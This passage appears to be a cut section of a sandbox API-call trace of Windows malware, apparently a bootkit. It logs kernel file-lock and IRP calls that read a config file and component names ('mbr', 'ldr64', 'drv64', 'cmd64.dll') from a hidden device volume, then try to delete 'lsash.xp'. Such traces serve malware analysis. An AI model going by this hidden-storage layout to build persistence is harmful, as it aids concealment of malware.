FastMutex=0xfffffa80027d3898) [0122.802] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.802] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.802] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.802] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.802] IdePortDispatch () returned 0x103 [0122.802] KeWaitForMutexObject () returned 0x0 [0122.802] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.802] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.802] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.802] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.802] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.802] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5a30 [0122.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.802] KeLeaveCriticalRegion () [0122.802] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.802] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.802] KeEnterCriticalRegion () [0122.802] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.802] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.802] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.802] KeLeaveCriticalRegion () [0122.802] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.803] KeEnterCriticalRegion () [0122.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.803] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.803] IdePortDispatch () returned 0x103 [0122.803] KeWaitForMutexObject () returned 0x0 [0122.803] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.803] KeLeaveCriticalRegion () [0122.803] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.803] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.803] KeEnterCriticalRegion () [0122.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.803] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d28000 [0122.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.803] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.803] IdePortDispatch () returned 0x103 [0122.804] KeWaitForMutexObject () returned 0x0 [0122.804] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.804] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.804] IdePortDispatch () returned 0x103 [0122.804] KeWaitForMutexObject () returned 0x0 [0122.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.804] KeLeaveCriticalRegion () [0122.804] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.805] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.805] KeEnterCriticalRegion () [0122.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.805] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.805] KeLeaveCriticalRegion () [0122.805] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.805] KeEnterCriticalRegion () [0122.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.805] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.805] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.805] KeLeaveCriticalRegion () [0122.805] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.805] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.805] KeEnterCriticalRegion () [0122.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.805] ExFreePoolWithTag (P=0xfffffa8003be5a30, Tag=0x0) [0122.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.805] KeLeaveCriticalRegion () [0122.805] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.805] ReleaseMutex (hMutex=0xf0) returned 1 [0122.805] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.805] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.805] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.805] KeEnterCriticalRegion () [0122.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.805] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.805] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.805] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.805] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.805] IdePortDispatch () returned 0x103 [0122.805] KeWaitForMutexObject () returned 0x0 [0122.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.806] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.806] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.806] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.806] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.806] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc5e0 [0122.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.806] KeLeaveCriticalRegion () [0122.806] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.806] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.806] KeEnterCriticalRegion () [0122.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.806] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.806] KeLeaveCriticalRegion () [0122.806] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.806] KeEnterCriticalRegion () [0122.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.806] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.806] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.806] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.806] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.806] IdePortDispatch () returned 0x103 [0122.806] KeWaitForMutexObject () returned 0x0 [0122.806] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.806] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.806] KeLeaveCriticalRegion () [0122.806] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.806] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.806] KeEnterCriticalRegion () [0122.806] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.807] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d29000 [0122.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.807] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.807] IdePortDispatch () returned 0x103 [0122.807] KeWaitForMutexObject () returned 0x0 [0122.807] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.807] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.807] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.807] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.807] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.807] IdePortDispatch () returned 0x103 [0122.807] KeWaitForMutexObject () returned 0x0 [0122.807] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.807] KeLeaveCriticalRegion () [0122.807] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.808] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.808] KeEnterCriticalRegion () [0122.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.808] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.808] KeLeaveCriticalRegion () [0122.808] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.808] KeEnterCriticalRegion () [0122.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.808] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.808] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.808] KeLeaveCriticalRegion () [0122.808] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.808] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.808] KeEnterCriticalRegion () [0122.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.808] ExFreePoolWithTag (P=0xfffffa8003bbc5e0, Tag=0x0) [0122.808] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.808] KeLeaveCriticalRegion () [0122.808] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.808] ReleaseMutex (hMutex=0xf0) returned 1 [0122.808] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.808] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.808] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.808] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.808] KeEnterCriticalRegion () [0122.808] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.808] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.808] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.808] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.808] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.808] IdePortDispatch () returned 0x103 [0122.808] KeWaitForMutexObject () returned 0x0 [0122.809] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.809] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.809] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.809] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.809] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.809] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.809] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.809] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.809] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.809] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.809] KeLeaveCriticalRegion () [0122.809] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.809] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.809] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.809] KeEnterCriticalRegion () [0122.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.809] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.809] IdePortDispatch () returned 0x103 [0122.809] KeWaitForMutexObject () returned 0x0 [0122.809] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.809] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.809] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.809] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.809] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.809] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.809] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.809] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.809] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.809] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.809] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.810] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.810] KeLeaveCriticalRegion () [0122.810] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.810] ReleaseMutex (hMutex=0x100) returned 1 [0122.810] Sleep (dwMilliseconds=0x2bf20) [0122.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c66c130, dwHighDateTime=0x1d24fa4)) [0122.816] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.816] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.816] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.817] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.817] KeEnterCriticalRegion () [0122.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.817] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.817] IdePortDispatch () returned 0x103 [0122.817] KeWaitForMutexObject () returned 0x0 [0122.817] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.817] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.817] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.817] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.817] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.817] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc5e0 [0122.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.817] KeLeaveCriticalRegion () [0122.817] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.817] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.817] KeEnterCriticalRegion () [0122.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.817] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.817] KeLeaveCriticalRegion () [0122.817] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.817] KeEnterCriticalRegion () [0122.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.817] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.817] IdePortDispatch () returned 0x103 [0122.817] KeWaitForMutexObject () returned 0x0 [0122.818] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.818] KeLeaveCriticalRegion () [0122.818] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.818] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.818] KeEnterCriticalRegion () [0122.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.818] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2c000 [0122.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.818] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.818] IdePortDispatch () returned 0x103 [0122.818] KeWaitForMutexObject () returned 0x0 [0122.818] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, 